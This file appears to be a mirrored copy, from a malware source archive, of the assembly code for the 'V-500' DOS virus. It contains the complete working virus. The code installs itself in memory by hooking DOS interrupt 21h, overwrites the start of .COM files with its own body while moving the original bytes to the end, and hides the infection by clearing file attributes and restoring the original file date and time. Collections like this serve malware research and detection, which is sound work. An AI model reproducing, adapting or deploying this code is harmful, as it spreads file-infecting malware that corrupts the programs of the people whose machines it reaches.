mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
270 lines
3.5 KiB
NASM
270 lines
3.5 KiB
NASM
;------------------------------------------------------------------------------
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;- V 500 ver 2.1 <03:04:91> GeMiCha *.COM -
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;------------------------------------------------------------------------------
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page ,132
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name V500
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title The V-500 virus
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.radix 16
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code segment
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assume cs:code,ds:code
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org 100
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start: push ax
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mov ah,30h
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int 21h
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xchg ah,al
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mov word ptr [dosver],ax
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mov ax,352eh
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int 21h
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cmp word ptr [dosver],31eh
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jne endprog
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Resident proc near
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mov ah,52h
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int 21h
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push es
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push bx
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mov ax,es:[bx+14h]
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mov word ptr adrdata,ax
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push adrdata
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pop es
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mov ax,es:[0002]
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mov Word ptr bufadr,ax
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push ax
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pop es
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mov ax,es:[0002]
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pop bx
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pop es
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mov es:[bx+14h],ax
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mov es,word ptr adrdata
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xor di,di
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mov si,100h
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lea cx,lendata-100h
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cld
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rep movsb
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mov ax,352eh
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int 21h
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mov ax,0086h
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mov es:[012E],ax
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lea dx,int21-100h
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push adrdata
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pop ds
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mov ax,2586h
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int 21h
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Resident Endp
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NormProg proc near
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EndProg: mov ax,3586h
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int 21h
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push es
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pop word ptr cs:[jmps]
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push cs
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push word ptr cs:[lenpro]
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db 0EAh
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dw Offset MNormP - 100h
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jmps: dw 0
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NormProg endp
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MNormP proc near
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cld
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pop si
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add si,0100h
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pop es
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push es
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pop ds
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push ds
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pop word ptr cs:[jmpp-100h]
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lea cx,lendata-100h
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mov di,0100h
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rep movsb
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pop ax
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db 0EAh
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dw 0100h
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jmpp: dw 0
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MNormP endp
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Int21 proc near
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push ax
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push bx
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push cx
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push dx
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push di
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push ds
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push es
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push ds
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push dx
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xor ax,ax
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mov es,ax
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mov ax,word ptr es:[004ch]
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mov word ptr cs:[int13-100h],ax
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mov ax,word ptr es:[004eh]
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mov word ptr cs:[int13-100h+2],ax
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mov ah,13h
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int 2fh
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push ds
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push dx
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mov ah,13h
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int 2fh
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pop dx
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pop ds
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xor ax,ax
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mov es,ax
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mov es:[004ch],dx
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mov es:[004eh],ds
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dos310 label byte
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pop dx
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pop ds
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mov ax,4300h ;Get File Attr
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int 21h
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push cx
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push dx
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push ds
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mov ax,4301h ;Set File Attr
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xor cx,cx
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int 21h
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mov ax,3d02h ;Open File
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int 21h
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xchg ax,bx
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push word ptr cs:[BufAdr -100h]
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pop ds
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xor dx,dx
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lea cx,lendata-100h
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mov ah,3fh
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int 21h
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cmp ds:[0000],'ZM'
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je clof
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mov ax,4202h
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xor cx,cx
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int 21h
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mov cs:[lenpro-100h],ax
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cmp ah,02h
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jbe clof
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cmp ah,0f6h
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jae clof
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mov ah,54h ; Get Verify
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int 21h
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push ax
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xor ax,ax ; Set Verify OFF
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mov ah,2eh
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xor dx,dx
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int 21h
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mov ax,5700h ; Get Date & Time
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int 21h
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push cx
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push dx
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xor dx,dx
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mov ah,40h
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lea cx,lendata-100h
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int 21h
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mov ax,4200h
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xor cx,cx
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int 21h
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push cs
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pop ds
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lea cx,lendata-100h
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mov ah,40h
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int 21h
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pop dx ; Set Date & Time
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pop cx
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mov ax,5701h
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int 21h
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pop ax ; Set Verify
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xor dx,dx
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mov ah,2eh
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int 21h
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clof: mov ah,3eh
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int 21h
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pop ds
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pop dx
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pop cx
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mov ax,4301h
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int 21h
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xor ax,ax
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mov es,ax
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mov ax,word ptr cs:[int13-100h]
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mov es:[004ch],ax
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mov ax,word ptr cs:[int13-100h+2]
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mov es:[004eh],ax
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pop es
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pop ds
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pop di
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pop dx
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pop cx
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pop bx
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pop ax
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int 21h
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iret
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Int21 endp
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int13 dd 0
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bufadr dw 0
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dosver dw 0
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lenpro dw LenPPP-LenData
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AdrData dw 0000h
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CRT dw 0 ; ???
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db ' '
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db ' '
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db ' '
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db ' '
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db ' '
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db ' '
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db ' '
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db ' '
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db ' '
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db ' '
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db ' '
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db ' '
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Lendata label byte
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prrog DB 1998 dup(90h)
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int 20h
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LenPPP Label byte
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code ends
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end start
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